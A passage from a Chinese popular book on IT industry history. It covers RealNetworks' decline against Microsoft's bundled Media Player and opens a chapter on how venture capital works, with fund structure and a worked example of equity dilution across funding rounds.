3，简称MP3。采用MP3数据格式的音乐质量比激光唱盘的质量要差一些，但是数据文件大小小了一个数量级。在互联网兴起以前，这种音频压缩方法并没有广泛应用。1995年，弗劳恩霍夫基于MP3格式推出了在Windows操作系统下运行的世界上第一个MP3播放器WinPlay3。当互联网兴起后，大家发现音乐经过压缩后，在互联网上传播成为可能。在MP3以后，又出现了各种各样的原理相同的音频文件压缩方法。\n1995年，微软的一位高管罗伯特o格雷斯从微软出来，创办了Real Networks公司。它一方面开发为互联网服务的通用音频和视频播放器，另一方面为媒体公司，比如NBC提供将节目放到互联网上的服务。该公司的播放器是跨平台的，能支持所有现有的音频和视频压缩格式，并且做到一边下载，一边播放（而不是下载完了再播放）。它还可以根据网路速度的快慢调整音频和视频质量（网路越快，质量越高）。\nReal Networks早期非常成功，创办的当年就推出了它的1.0播放器，并且在互联网上转播了NBA的篮球比赛。在接下来的两年里，Real Networks每半年就推出一些新产品和服务。\n但是，到了90年代末，随着微软在播放器市场上地位的加强，Real Networks的发展越来越受到制约。和微软的IE一样，其媒体播放器MediaPlayer也是随Windows操作系统免费提供的。很快，微软的MediaPlayer就超过了RealPlayer，一举夺得市场占有率第一，这里面盗版的Windows也为微软抢夺播放器的市场份额做出了\"巨大的贡献\"。有了免费的播放器，很少有人会花四十美元下载一个功能差不多的RealPlayer了（Real Networks通常把它旧的播放器让用户免费下载，但是它的功能不全，它最新的播放器在美国总是要$39.99，至今如此）。\n当然，由于专利的限制，有些格式的媒体不能用微软的MediaPlayer播放，必须用RealPlayer 付费版播放，但是，如果哪家媒体公司选择了这种格式，观众和听众数必然少而又少，久而久之，这种不能通用的媒体格式便自然而然地趋于淘汰。到2000年，网络上绝大多数媒体都采用微软播放器可以播放的格式。这样，微软利用免费捆绑的MediaPlayer，控制了广大用户计算机上的播放器，进而渐渐控制了互联网上的媒体文件格式。\n微软从1998年起在播放器上挑战RealNetworks，到2000年前后便夺取了RealPlayer 一半的市场份额（Nelson和Comsore等第三方市场研究公司发布的播放器市场的占有率数据大相径庭，我们这里只能给出一个大致估计。），到了2002年，两家公司便平分秋色了。两年后，RealPlayer的占有率只有微软MediaPlayer的一半不到。以后逐年减少，到去年占不到播放器市场的20%。\n图12-6 RealPlayer和MediaPlayer市场份额变化趋势图Real Networks源于微软又被微软打败。虽然它的境遇和网景公司有些相似，但是，两家公司失败的原因不尽相同。网景公司是被动地死守浏览器市场，但是在微软捆绑的打击下节节败退，最后无险可守，从此从人们的视线中消失了。Real Networks也许因为是微软自己人办的公司，谙熟微软的竞争之道，所以一开始就不断在找退路，它在做播放器的同时，提供了 多项基于互联网的广播和 电视服 务。RealNetworks通 过向互联网用户收费订阅费（Subscription Fee）挣钱，同时在广播和电视中插播一些广告。除此之外，它还有音乐付费收听和视频付费收看等等。比如在网上听歌每月十三美元，网上玩游戏每月十美元。由于Real Networks比较早进入服务市场，同时服务市场又一直是微软的弱项，它在失去了播放器软件市场后，终于守住了网络音频和视频服务的市场。服务性收入在Real Networks的营业额中份额，最初是空白，但是逐年增加，去年2007年达到了83%。（见下图）图12-7 Real Networks营业额趋势图靠着付费服务的收入，RealNetworks挺过了从2000年到2002年的互联网最艰难的时期，得以生存下来。但是Real Networks的营业额始终没有回到2000年的水平。华尔街对它已经很不看好。它的股价从2000年初的90多美元降到2001年3美元的最低点，虽然现在恢复到6美元，也不过是当年的零头而已。今天，RealPlayer退出了一流公司的行列，但是，在互联网历史上，Real Networks的贡献不可磨灭。它使得音乐在互联网上广泛传播（当然这里面Napster的贡献也很大）。在网络泡沫破碎前（2000年），音乐占整个互联网流量的第二位。\n其实，RealNetworks有一个更好的办法来抵御微软的竞争，就是走后来苹果iPod的道路，推出自己的便携式媒体播放器。也许是因为Real Networks源于微软，不知不觉地采用了卖软件的商业模式，而没有想到做一个专门的类似iPod的消费电子产品。也许是因为当Napster打输了和唱片公司的官司后，RealNetworks看不到网上音乐市场的前景，便把精力集中在将新闻等电视节目搬到网络上。遗憾的是，美国广大观众至今仍然习惯于在大屏幕电视上看新闻而不是到计算机的小屏幕上看豆腐块大的视频。至于听歌，大家还是习惯将音乐下载到自己的PC机、iPod和手机上听，而不是通过互联网整天连到RealNetworks的服务器上听。因此Real Networks的订户数量一直涨不上去，它的商业模式便如同一条死胡同，越走越窄。\nReal Networks在和微软竞争中幸存下来，已属不易。而它的前景却依然堪忧。首先，由于苹果iPod的热卖和它的免费的iTunes在PC机播放器市场上的强势地位，RealPlayer的市场份额以更快的速度下降。早晚有一天Real Networks将不得不把它完整版的播放器免费提供出去。iTunes下载业务还将蚕食掉Real Networks已所剩不多的付费下载。其次，YouTube 的免费服务对Real Networks的付费订阅冲击很大（其实，Real Networks自己成为YouTube 并不难，但是要求Real Networks在2000年时推出一个类似YouTube的网站不太现实，因为那时候宽带上网并不普及。Real Networks在开始时没有采用YouTube的在线服务方式，那么以后它就很难更改其商业模式了。我们在上一章提到，创业的大环境常常决定了一个公司的成败发展，Real Networks和YouTube失之交臂就说明了这一点。）Real Networks作为早期互联网音乐、视频播放器和服务业的霸主，本来最有资格得到苹果现在在便携式媒体播放器的统治地位。如果Real Networks能看到并做到这一点，它和微软的竞争成败都无伤大局。但是，它错失了那次、也是唯一的一次不太容易把握的良机，从此便将领导音乐时尚潮流的使命拱手让给了苹果公司。这也许是一流的苹果公司和二流的Real Networks之间的差距。\n结束语\n从太阳公司到Real Networks，都在短短的几年到十几年时间里走过了从无到有，再到顶点然后迅速衰落的过程。虽然它们最终败在了微软的手下，但是它们的衰退很大程度上是自己的原因（Novell自身的原因少一些）。如果它们能找到真正适合自己发展的方向，它们就能在与微软的竞争中立于不败之地，或者竞争的成败甚至都不是很重要。这些公司对我们这个世界作出了巨大的贡献，它们改变了我们的生活方式。另一方面，这些曾经辉煌的公司薪尽火传。今天苹果公司的iPod和iTunes就有Real Networks播放器和在线下载的影子。今天Google的云计算在某种程度上实现了当年Novell（和Oracle）的网络PC。网景的浏览器已经是历史，但今天蓬勃发展起来的火狐（Firefox）可以说是它的翻版。历史不会简单的重复，失败是成功之母，IT行业的精英们不仅没有再犯前人的错误，而且做得比前人更好。从这两个方面讲，我们都应该感谢这些只有短暂光辉的公司。\n第13章 幕后的英雄：风险投资（Venture Capital）\n任何一个公司的创办都离不开资金。传统上创业资金的合法来源只有两种渠道：一种是靠积累（比如继承遗产或者是自己多年的积蓄），第二种是靠借贷（比如从家人、亲戚和朋友那里凑钱，或者从银行抵押贷款）。如果要求创业者将自己一辈子的积蓄全部拿出来创业，很多人可能会知难而退，更何况最喜欢创业的年轻人恰恰是积蓄最少的群体。从银行贷款必须要有财产可抵押，对于有房子的人来讲最值钱的就是房子，但是房子一旦抵押出去很可能赎不回来，自己便无家可归了，而且不是人人都有房子可抵押。因此，年轻人要通过这两种传统的方法获得创业资金很不容易。这样，资金就成了创业的瓶颈。在很多国家，包括几乎整个欧洲，很少能看到新的公司兴起，原因就是没有人愿意提供创业的资金。\n美国是一个富于冒险精神的年轻的国度。二战后，尤其是六十年代后，一些愿意以高风险换取高回报的投资人发明了一种非常规的投资方式—风险投资（Venture Capital Investment，or VC），在中国又简称风投。风险投资和以往需要有抵押的贷款有本质上的不同之处。风险投资不需要抵押，也不需要偿还。如果投资成功，风投资本家将获得几倍、几十倍甚至上百倍的回报，如果不成功，钱就打水漂了。对创业者来讲，使用风险投资创业即使失败，也不会背上债务。这样就使得年轻人创业成为可能。几十年来，这种投资方式总的来讲非常成功，硅谷在创造科技公司神话的同时，也创造出另一种神话——投资的神话。\n13.1 风投的起源\n哲学家黑格尔讲：“凡是现实的都是合理的；凡是合理的都是现实的。”（All that is real is rational, and all that is rational is real.）这句话在恩格斯的《反杜林论》中成为最有进步意义的话。任何事情都有它发生、存在和发展的理由，当然如果这个理由不成立了，它终究就会消亡。风投在六十年代后（而不是二战以前）在美国（而不是世界其它国家）蓬勃兴起有它的社会基础。\n第二次世界大战后，美国取代英国主导了世界的金融业，在二战后的较长时间里，美国是资本的净输出国，比其它国家有多得多的资本可以进行投资。传统的投资方法是将资本投入到股市上去（Public Equity）或者购买债券（Bonds，比如国债）。前者一百多年来的回报率平均是百分之七左右，后者就更低了（美国国债的回报率是百分之五左右）。要想获得更大的投资收益，过去的办法只有投入到未上市流通的企业中去（Private Equity）。由于吃过 1929 年到 1933 年经济大萧条的亏，美国政府在很长时间里严格限制银行的各种炒作行为。直到七十年代时，闲余资本只能进行投资，很难用于金融炒作。我们今天看到的许多纯金融的一些游戏，比如对冲基金（Hedge Funds），那都是八十年代以后的事了。\n而对私有企业的投资大致有两种，一种是收买长期盈利看好但暂时遇到困难的企业，比如投资大师巴菲特经常做的就是这件事，他很成功的案例是在美国大保险公司 Geico（原名政府雇员保险公司，Government Employee Insurance Company）快要破产时，百分之百地以超低价收购了该公司，并将其扭亏为盈，从而获得了几十倍的收益；另一种是投资到一个新的小技术公司中，将它做大上市或者被其它公司收购。后者就是风险投资的对象。\n和抵押贷款不同，风险投资是无抵押的，一旦投资失败就血本全无。因此，风投资本家必须有办法确认接受投资的人是老老实实用这笔钱创业的实业家，而不是卷了钱就跑了的骗子（事实上，风险投资钱被骗的事件还时有发生）。第二次世界大战后，经过罗斯福和杜鲁门两任总统的努力，美国建立起了完善的社会保险制度（Social Security System）和信用制度（Credit System），使得美国整个社会都建立在信用（Credit）这一基础之上。每个人（和每个公司）都有一个信用记录，通过其社会保险号可以查到。美国社会对一个人最初的假定都是清白和诚实的（Innocent and Honest），但是只要发现某个人有一次不诚实的行为，这个人的信用就完蛋了——再不会有任何银行借给他钱，而他的话也永远不能成为法庭上的证据。也就是说，一个人在诚信上犯了错误，改了也不是好人。全美国有了这样的信用基础，银行就敢把钱在没有抵押的情况下借出去，投资人也敢把钱交给一无所有的创业者去创业。不仅如此，只要创业者是真正的人才，严格按合同去执行，尽了最大努力，即使失败了，风投公司以后还会愿意给他投资。美国人不怕失败，也宽容失败者。大家普遍相信失败是成功之母，这一点在世界其它国家很难做到（当然，如果创业者是以创业为名骗取投资，他今后的路便全被堵死了）。美国工业化时间长，商业发达，和商业有关的法律健全，也容易保护风险投资。\n相比其他发达国家而言，美国是一个年轻的移民国家，很多美国人是第一代移民，爱冒险，而且想象力丰富，乐于通过创业来提升自己的社会和经济地位。美国的大学总体水平领先于世界，并且在理论研究和应用研究方面平衡得比较好，容易做出能够产业化的发明创造。这两条加在一起，使得风险投资人可以很方便的发掘到好的投资项目和人才。上述这一切原因凑到一起，就形成了风险投资出现和发展的环境。\n高回报的投资一定伴随着高风险，但反过来高风险常常并不能带来高回报。任何一种长期赚大钱的金融投资必须有它内在的动力做保证。股票长期来讲总是呈上涨趋势，因为全世界经济在发展。风险投资也是一样，它内在的推动力就是科技的不断发展进步。由于新的行业会不断取代老的行业在世界经济中的地位，专门投资新兴行业和技术的风险投资从长期来讲回报必定高于股市。因此风险投资看上去风险大，但是并不是赌博，它和私募基金都是至今为止收益最高的投资方式（回报率分别在 15% 和 20% 上下）。正是鉴于它的高回报，不断有人和单位（Institute）愿意将越来越多的钱放到风险投资基金中去，比如斯坦福大学将其退休基金的很大一部分放到在风投公司 KPCB 去投资。近三十年来，风投基金越滚越大，从早期的一年几万美元，到 2006 年的每季度六七十亿美元。由于风投公司不公开财务报告，很难准确了解美国风投的准确规模，但是普遍估计 2007 年的美国的风投基金规模大约是二三百亿美元。现在，美国自己已经消化不了全部的风投资本了，因此这些年美国大的风投公司也开始在海外投资，其中相当大一部分投在了中国和印度（欧洲的风投至今仍然很少）。\n从财务和税务上讲，风险投资和传统的私募基金（以下简称私募基金）类似，但是它们的投资对象和方式完全不同。私募的投资对象大多数是拥有大量不动产和很强的现金流（Cash Flow）的传统上市企业，这些企业所在的市场被看好，但是这些企业因为管理问题，不能盈利。私募基金收购这些企业，首先让它下市，然后采用换管理层、大量裁员、出售不动产等方式，几年内将它扭亏为盈。这时或者让它再上市，比如高盛收购汉堡王（Burger King）后再次上市；或者将它出售，比如 Hellman & Friedman 基金收购双击广告公司 Double Click，重组后卖给 Google。运作私募基金要求能够准确估价一个问题重重的公司、具有高超的谈判技巧和资金运作本领，但是最关键的是要能摆平劳工问题，其中最重要的是蓝领的工人和工会（因为私募基金一旦收购一个公司，第一件事就是卖掉不良资产和大规模裁员）。从这个角度上讲，私募基金是在和魔鬼打交道，但他们是更厉害的魔鬼。\n风险投资则相反，他们是和世界上最聪明的人打交道，同时他们又是更聪明的人。风险投资的关键是能够准确评估一项技术，并预见未来科技的发展趋势。所以有人讲，风险投资是世界上最好的行业。\n要了解风投首先要了解它的结构和运作方式，然后了解风投的结构和决策过程。\n13.2 风投的结构\n风险投资基金（Venture Capital Funds）主要有两个来源：机构（Institutes）和非常有钱的个人。比如哈佛大学和斯坦福大学的基金会就属于前者。当然，为了让投资者放心，风险投资公司自己也会拿出些钱一起投资。\n风险投资基金一般是由风险投资公司出面，邀集包括自己在内的不超过 499 位投资者（和投资法人），组成一个有限责任公司（Limited Liability Company， LLC）。为了避税，在美国融资的基金一般注册在特拉华州，在世界上其它地区融资的基金注册在开曼群岛（Cayman Islands）或者是巴哈马(Bahamas)等无企业税的国家和地区（如果读者创业时遇到一个注册在加州或纽约的美国基金，那一定是遇到骗子了）。为什么不能超过 499 人呢？因为根据美国法律规定，一旦一个公司的股东超过五百人，就必须像上市公司那样公布自己的财务情况和经营情况。而风险投资公司不希望外界了解自己投资的去处和资金的运作，以及在所投资公司所占的股份等细节，一般选择不公开财务和经营情况，因此股东不能超过五百人。每一轮基金融资开始时，风投公司要到特拉华等地注册相应的有限责任公司，在注册文件中必须说好最高的融资金额、投资的去处和目的。风险投资公司会定一个最低投资额，作为每个投资人参与这一期投资的条件。比如红杉风投一期融资常常超过十亿美元，它会要求每个投资人至少投入两百万美元。显然，这只有机构和非常富有的个人才能拿得出。\n风险投资公司每一次融资便成立一个有限责任公司，它的寿命从资金到位开始（Close Fund）到所有投资项目要么收回投资、要么关门结束，通常需要十年时间，前几年是投入，后几年是收回投资。一个风险投资公司通常定期融资，成立一期期的风险基金。基金为全体投资人共同拥有。风险投资公司自己扮演一个称作总合伙人的角色（General Partner），其它投资者称为有限合伙人（Limited Partner）。总合伙人除了拿出一定资金外，同时管理这一轮风险基金。有限合伙人参与分享投资回报但是不参加基金的决策和管理。这种所有权和管理权的分离，能保证总投资人能够独立地、不受外界干扰地进行投资。为了监督总投资人的商业操作和财务，风投基金要雇一个独立的财务审计顾问和总律师（Attorney in General），这两个人（或者公司）不参与决策。风险投资比炒股要凶险得多，一旦出错，基本上是血本无归。为了减少和避免错误的决策，同时替有限合伙人监督总投资人的投资和资本运作，一个风投基金需要有一个董事会（Board of Directors）或者顾问委员会(Board of Advisors)。这些董事和顾问们要么是商业界和科技界的精英，要么是其它风险投资公司的投资人。他们会参与每次投资的决策，但是决定由总投资人来做。\n风险投资基金的总合伙人的法人代表和基金经理们一般都是非常懂技术的人，很多人是技术精英出身，很多人自己还成功创办过科技公司。比如被称为世界风投之王的约翰.多尔（John Doerr）原来是英特尔公司的工程师。中国最大最好的两个风投公司北光（Northern Light）和赛伯乐（Cybernaut）的创始人以前都是非常成功的企业家。比如创办北极光创投的邓峰和柯岩博士，原来是世界上最大的网络防火墙公司 Netscreen 的创始人，同时是网络安全的专家。赛伯乐的创始人朱敏博士是世界上最大的电话电视会议技术和服务公司 Webex 的创始人。为了确保对最先进技术的了解，风险投资公司会招很多技术精英，同时还会请外面的技术顾问，比如斯坦福大学的教授，一起来帮助评估每一项投资。\n风险投资基金一旦进入被投的公司后，就变成了该公司的股份。如果该公司关门了，相对于公司创始人和一般员工，风投基金可以优先把公司财产变卖后的钱拿回去。但是，这时能拿回的钱通常比零多不了多少。如果投资的公司上市或者被收购，那么合伙人或者直接以现金的方式回收投资，或者获得可流通的股票。这两种方式各有利弊，都有可能被采用。前者一般针对较小的基金和较少的投资，总合伙人会在被投资的公司上市或者被收购后的某一个时间（一般是在解禁期Lock Period 以后）将该基金所拥有的全部股票卖掉，将收入分给各个合伙人。这样基金管理的成本较低。但是，如果基金占得股份较大，比如风险投资在很多半导体公司中常常占到股份的一半以上，这种做法就行不通了。因为上市后统统卖掉其拥有的股票，该公司的股价会一落千丈。这时，风险投资的总合伙人必须将股票直接付给每个合伙人，由每个合伙人自己定夺如何出售股票。这么一来，就避免了股票被同时抛售的可能性。虽然这么做基金管理的成本（主要是财务上的成本）增加了不少，但是大的风投公司必须这么做，比如 KPCB 和红杉风投在 Google 上市 180 天后，各自拥有几十亿美元 Google 股票，如果这些股票一下子涌到股市上，就会造成 Google 股票的大跌，于是两家风投将股票分给了有限合伙人，由他们自行处理。事实上大部分合伙人并没有抛售，结果 Google 的股票在 180 天后不降反涨。\n为了降低风险，一轮风投基金必须要投十几家到几十家公司。当然，为了投十家公司，基金经理可能需要考察几百家公司，这笔运作的费用不是个小数，必须由有限合伙人出，一般占整个基金的 2%。风投公司总合伙人为了挣钱，还要从有限合伙人赚到的钱中提取一部分利润，一般是基本利润（比如 8%）以上部分的 20%。比如某个风投基金平均每年赚了 20% 的利润，总合伙人将提取（20%-8%）×20%=2.4%，外加 2% 的管理费共 4.4%，而有限合伙人得到的回报其实只有15.6%，只相当于总回报的四分之三。因此，风投公司的收费其实是非常高昂的。\n管理风投基金的风投公司本身也是个 LLC，其最高管理者就是风投公司的合伙人了（Partner）。风投公司本身不会有什么 CEO、总裁之类的头衔（有这些头衔的风投公司一定是冒牌货），风投公司的合伙人不仅在风投公司内部地位崇高，而且在科技界呼风唤雨，比如 KPCB 的合伙人约翰·多尔就是 Google、太阳、亚马逊等多家上市公司和更多未上市公司的董事。在风投刚刚进入中国时，发生过这样一件趣事。在一次风险投资研讨会上，来了很多公司的 CEO、总裁等“贵宾”，礼仪小姐一看这些人的职务，便把他们请到前排入座。后来来了一位客人，礼仪小姐一打听是什么合伙人，便把他安排到后面一个不起眼的角落里就座。这位合伙人没说什么就在后排坐下了。结果那些 CEO 和总裁们看他坐到了最后，谁都不敢往前面坐了，因为这些 CEO 和总裁们所在的公司都是他投资的，而他们的职位也是他任命的。由此可见风投合伙人在业界的影响。\n大的风险投资公司每一轮融资的资金都很多，比如红杉风投一轮基金动辄十几亿美元，如果每家公司只投资一两百万美元，一来没有这么多公司可供投资，二来即使有，总合伙人要在几年里审查几千几万家公司，也是明显不现实的，因此它们每一笔投资不能太小；而另一方面，新成立的公司本身都很小，尤其是初期，它们只需要融资几十万甚至几万美元就可以了，大风险投资公司就不会参与。对于这些公司的投资就由一类特殊的风险投资商——天使投资人来完成。\n天使投资（Angel Investment）本质上是早期风险投资。天使投资人，简称天使，常常是这样一些有钱人：他们很多人以前成功地创办了公司，对技术很敏锐，又不愿意再辛辛苦苦创业了，希望出钱让别人干。在硅谷这样的人很多，他们的想法就是“不愿意当总（经理），只肯当董（事）”。\n一些天使投资人独立寻找项目，进行投资，但是更多的情况是几个人凑到一起组成一个小的有限责任公司 LLC 或者有限伙伴关系（Limited Partnership，简称 LP），通常称作天使投资社 Angel Firm 来共同投资。天使投资社的经营管理方法千差万别，有的是大家把钱凑在一起，共同投资；有的是每个人自己选项目各自投资，同时介绍给社里，社里会加倍投入（Match）该天使投资人所投金额。其实，约翰.多尔和麦克.莫利兹投资 Google 是就是采用这种策略，他们两人每人从自己口袋里拿出一些钱投给Google，同时他们所在的KPCB和红杉风投拿出同样（可能更多）的钱也投到了 Google 上。当然，有些天使投资社管理更灵活，当某个天使投资人投资一个公司后，其他合伙人可以选择跟进（Follow），也可以不跟进（Pass），没有什么义务，大家坐到一起只是为了讨论一下问题而已，共同使用一个律师和会计。\n了解了风险投资的管理结构，接下来让我们看看天使投资人和风险投资公司是如何投资的。\n13.3 风投的过程\n风险投资的过程其实就是一个科技公司创办的过程。在美国，一个新兴的科技公司（Startups）的创业过程通常是这样的：来自思科公司的工程师山姆和IBM公司的工程师强尼发明了一种无线通信的技术，当然这种技术和他们所在公司的核心业务无关，两人觉得这种技术很有商业前景，他们就写了个专利草案，又花五千美元找了个专利律师，向美国专利局递交了专利申请（关键之一，知识产权很重要）。两个人下班后以及周末的所有时间全泡在山姆家的车库里用模拟软件 Matlab 进行模拟，证明这种技术可以将无线通信速度提高五十倍（关键之二，是否有数量级的提高是衡量一项新技术是革命性的还是革新性的关键。）两个人想了好几种应用，比如代替现有的计算机 Wifi，或者用到手机上，于是在原有的专利上又添加了两个补充性专利。强尼和山姆于是拿着自己做的 Powerpoint 投影胶片、实验结果和专利申请材料到处找投资者，在碰了七八次壁以后，找到了山姆原来的老板，思科早期雇员亚平。亚平从思科发了财后不再当技术主管了，自己和几个志同道合的有钱人一起在做天使投资人。亚平和不下百十来个创业者谈过投资，对新技术眼光颇为敏锐，发现山姆和强尼的技术很有独到之处，但是因为山姆和强尼讲不清楚这种技术的具体商业前景在哪里，建议他们找一个精通商业的人制定一个商业计划 Business Plan（关键之三，商业计划很重要）。\n强尼找到做市场和销售的朋友迪克，并向迪克大致介绍了自己的发明，希望迪克加盟共同开发市场。迪克觉得和这两个人谈得来，愿意共同创业。这时出现了第一次股权分配问题。\n到目前为止，所有的工作都是山姆和强尼做的，两个人各占未来公司的 50% 股权和投票权。迪克加盟后，三个人商定，如果迪克制定出一个商业计划书，他将获得 20% 的股权，山姆和强尼将减持到 40%。迪克经过调查发现，山姆和强尼的发明在高清晰度家庭娱乐中心的前景十分可观，于是制定了可行的商业计划书，并得到了 20% 的股权。三个人到目前为止对今后公司的所有权见下表。\n图13-1某公司初始股权分配表三个人再次找到亚平，亚平请他的朋友，斯坦福大学电机工程系的查理曼教授作了评估，证实了山姆等人的技术是先进的并有相当的复杂度，而且有专利保护，别人不易抄袭模仿。亚平觉得可以投资了，他和他的天使投资团觉得山姆、强尼和迪克的工作到目前为止值（未融资前）一百五十万美元，而三个创业者觉得他们的工作值二百五十万，最后商定定价二百万（注：对公司的估价方法有按融资前估价，即 Pre-Money ，和融资后估价，即 Post-Money 两种。从本质上讲，这两种方法是一样的，我们这里的估计都以 Pre-Money 来计算）。亚平和他的投资团投入五十万，占到股份的 20%。同时，亚平提出下列要求： 1.亚平要成为董事会成员；\n2.山姆、强尼和迪克三人必须从原有公司辞职，全职为新公司工作。并且在没有新的投资进来以前，三个人的工资不得高于每月四千美元；3.山姆等三人的股票必须按月在今后的四年里逐步获得（Vested），而不是在公司成立时立即获得。这样如果其中有人离开了，他只能得到一部分股票；4.如果有新的任何融资行为必须通知亚平的天使投资团。\n现在山姆等人就必须正式成立公司了。为了将来融资和开展业务方便起见，他们在特拉华州注册了赛通科技有限公司。山姆任董事会主席、迪克和亚平任董事。山姆任总裁，强尼任主管技术的副总裁兼首席技术官，迪克任主管市场和营销的副总裁。三个人均为共同创始人。公司注册股票一千五百万股，内部核算价格每股二十美分。\n在亚平投资后（的那一瞬间），该公司的内部估计已经从两百万增加到二百五十万，以每股二十美分计算，所有股东的股票只占到 1250 万股（250万/0.2=1250万）。那么为什么会多出来 250 万股，它们并没有相应的资金或者技术做抵押，这些股票的存在实际上稀释了（Dilute）所有股东的股权。为什么公司自己要印这些空头钞票呢？因为它们必须留出来给下面的用途：1.由于山姆等人的工资很低，他们将根据自己的贡献，拿到一部分股票作为补偿；2.公司正式成立后需要雇人，需要给员工发股票期权；3.公司还有一些重要的成员没有进来，包括 CEO，他们将获得相当数量的股票。\n现在，该公司各位股东股权如下：图13-2某公司第一轮融资后股权分配表接下来，山姆等人辞去以前的职务，全职创业。公司很成功，半年后做出了产品的原型（Prototype）。但是，50 万投资已经花完了，公司也发展到 20 多人。250 万股票也用去了 150 万股。这时，他们必须再融资。由于该公司前景可观，终于得到了红杉风投的青睐。红杉风投为该公司作价 1500 万美元，这时，该公司的股票每股值 1 美元了，比亚平投资时涨了四倍。红杉同意投资 500 万美元，占 25%，这样总股数增加到 2000 万股。同时，红杉风投将委派一人到该公司董事会任职。山姆等人还答应，由红杉风投帮助寻找一位职业经理人做公司的正式 CEO。双方还商定，融资后再稀释 5%，即 100 万股，为以后的员工发期权。现在该公司股权如下：图13-3某公司第二轮融资后股权分配表读者也许已经注意到，红杉风投现在已经成为了最大的股东。\n两年后，该公司的样品研制成功，并获得东芝公司的订单，同时请到了前博通公司的 COO 比尔出任 CEO。比尔进入了董事会，并以每股三美元的价钱获得 100 万股的期权。当然新来的员工也用去一些未分配的股票。这时该公司的股价其实比红杉风投投资时，已经涨了两倍。比尔到任后，公司进一步发展，但是仍然没有盈利。于是，董事会决定再一次融资，由红杉风投领头协同另两家风投投资一千五百万。公司在投资时作价一亿五百万，即每股五美元。现在，该公司股权变为：图13-4某公司第三轮融资后股权分配图这时，投资者的股份已占到 44%，和创始人相对，即拥有了一半左右的控制权。又过了两年，该公司开始盈利，并在高盛的帮助下增发六百万股，在纳斯达克上市，上市时原始股定价每股 25 美元。这样，一个科技公司在 VC 的帮助下便创办成功了。上市后，该公司总市值大约七亿五千万美元。该公司股权如下：图13-5某公司上市后股权分配图这时，创始人山姆等人成了充满传奇色彩的亿万富翁，其员工共持有价值近五千万美元的股票，不少也成了百万富翁。但是，山姆等全体公司员工只持有 44% 的股份，公司的所有权的大部分从创始人和员工手里转移到投资者手中。一般来讲，一个创始人在公司上市时还能握有 10% 的股份已经很不错了。\n作为最早的投资者，亚平的天使投资团收益最高，高达一百二十四倍。红杉风投的第一轮获利二十四倍，第二轮和其它两家风投均获利四倍。显然，越早投资一个有希望的公司获利越大，当然，失败的可能性也越大。一般大的风投基金都会按一定比例投入到不同发展阶段的公司，这样既保证基本的回报，也保证有得到几十倍回报的机会。\n我不厌其烦地计算每一个阶段创始人和投资人的股权和价值，是想为那些想求助于风险投资创业的人提供一个参考。我遇到了许多创业者，他们在接触投资人时几乎毫无融资的经验，有些漫天要价，有些把自己贬得一钱不值。我们从这个例子中可以看到，风险投资必须是渐进的，在每一个阶段需要多少钱投入多少钱，这样对投资者和创业者都有好处。对投资者来讲，没有任何一家投资商会在刚开始时就把今后五年的开销全包了的，这样风险太大。对创业者来讲，早期的公司股价都不会高，过早大量融资会使得自己的股权占得太低，自己不但在经济上不划算，而且还会失去对公司的控制，甚至在创业的一半就被投资人赶走。在上面的例子中，天使投资人和风投一共投入两千零五十万美元，在上市前占到 43%，三个创始人和其他员工占 57%。如果在最初公司估价只有两百万时就融资两千多万，到上市前，投资方将占股份的 80% 以上，而创始人和员工占不到 20%。\n上面的情况是一个简化得不能再简化的投资过程，任何一个成功的投资都会比它复杂得多。比如，通常天使投资人可能是几家而不是一家，很多人都会要求坐到董事会里去，这样在真正风险投资公司投资时，董事会已经变得很庞大。在这种情况下，风投公司通常会以当时合理的股价（Fair Market Value）从天使投资人手中买回股权，并把他们统统从董事会中请出去。否则每次开董事会坐着一屋子大大小小的股东，大家七嘴八舌，还怎么讨论问题。大部分天使投资人也愿意兑现他们的投资收益，以降低自己的投资风险。\n上面这个例子是一个非常理想的情况，该公司的发展一帆风顺，每一轮估价都比前一轮高，实际情况可能并非如此。不少公司在某一轮风险投资资金用完的时候，业绩上并没有太大的起色，下一轮融资时估价还会下降。我的一个朋友曾经在这样一家半导体公司工作，他们花掉了近亿美元的投资仍然不能使公司盈利，这样必须继续融资，新的风投公司给的估价只有前一次估价的三十分之一，但是创始人和以前的投资人不得不接受这个估价，以避免公司关门，那样他们的投资一分钱也拿不回来。\n13.4 投资的决策和公司的估价\n我们在上一节中举了一个风投投资的例子，在这个例子中，我们忽略了两个关键性的问题：风险投资公司如何决定是否投资一个公司（或者一个产业），以及如何决定一个小公司的价值。这两个问题要回答清楚需要专门写一本书，因为每一次投资的情况都不相同，前一次投资的案例通常不能用到下一次。因此，这里我们简单介绍一下一些投资和估价的原则。\n我们从上面的例子可以看出，风投常常是分阶段的，可以有天使投资阶段、第一轮和后一轮（或者后几轮）。天使投资阶段的不确定性最大，甚至无章可循，很多成功天使投资回想起来都不知道是如何成功的，包括开始投资 Google 的一些天使投资人都搞不清楚 Google 是干什么的。我的一位朋友是世界上该领域最大的公司的创始人之一，该公司先在纳斯达克上市，后来又以几十亿美元的高价卖掉。这位共同创始人对我讲，他们创业的第一笔钱，是从一个台湾的天使投资人那里拿到的五十万美元。这个投资人根本就不是IT领域的人，也搞不懂他们要干什么，最后请了一位相面先生给他们三个人看了看相，这三个人身材高大，面相也不错，于是那位投资人就投资了。当该公司以几十亿美元的高价被收购时，这位天使投资人也许应该感谢那位相面先生，为她带来了上百倍的投资收益。\n正是因为这种不确定性，很多大的风险投资公司都跳过这一轮。一些更加保守的风投基金只参加最后一轮的投资。有些清清楚楚地说明在下面几种情况下不投资： 1. 不盈利的不投，\n2. 增长不稳定的不投，\n3. 公司达不到一定规模的不投，甚至有些风投基金只投已经有了十二到二十四个月内上市计划的公司。当然，到了这一步，常常是融资的公司挑选风投了，能在这一步拿到合同的风投要么是在IT界关系很广的公司，要么是很有名的公司，以至于新兴公司上市时要借助它们的名头。通常，当股民们看到某家将要上市的公司是 KPCB 